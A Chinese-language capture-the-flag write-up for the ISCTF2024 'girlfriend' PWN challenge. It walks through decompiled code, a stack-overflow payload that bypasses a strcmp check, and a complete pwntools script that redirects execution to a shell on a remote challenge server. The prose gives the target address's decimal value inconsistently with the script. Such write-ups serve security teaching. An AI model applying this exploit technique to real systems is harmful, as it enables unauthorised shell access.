栈溢出 | ISCTF2024 | PWN girlfriend
2024年12月10日约 286 字小于 1 分钟
打开 IDA,并分析代码。
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[40]; // [rsp+0h] [rbp-30h] BYREF
char s1[8]; // [rsp+28h] [rbp-8h] BYREF
init(argc, argv, envp);
puts("welcome to isctf2024");
puts("first i need your team id");
read(0, buf, 0x30uLL);
if ( strcmp(s1, "admin") )
{
puts("no no no");
exit(0);
}
puts("ok, go on");
vuln();
return 0;
}
遵循着有事先溢出的原则,buf
可以储存 40 个字节。我们需要运行vuln()
函数,编写以下 Payload 来绕过strcmp(s1, "admin")
payload = b'a' * 40 + b'admin'
connection.send(payload)
继续分析文件,发现可以溢出到0x000000000040121E
这个位置来执行 Shell
我们再来看一眼vuln()
代码:
__int64 vuln()
{
__int64 result; // rax
__int64 i; // [rsp+28h] [rbp-8h]
for ( i = 0LL; i <= 7; ++i )
{
printf("please input your %d girlfriend birthday\n", i + 1);
result = __isoc99_scanf("%ld");
}
return result;
}
0x000000000040121E
对应的十进制为4198932
通过栈溢出实现执行 Shell,编写 Payload 脚本实现,以下是完整的 Payload 脚本。
from pwn import *
connection = remote('27.25.151.12', 31274)
payload = b'a' * 40 + b'admin'
connection.send(payload)
response_sequence = [b'1', b'1', b'3', b'3', b'4', b'5', b'6', b'4198942']
for response in response_sequence:
connection.recvuntil(b'birthday')
connection.sendline(response)
connection.interactive()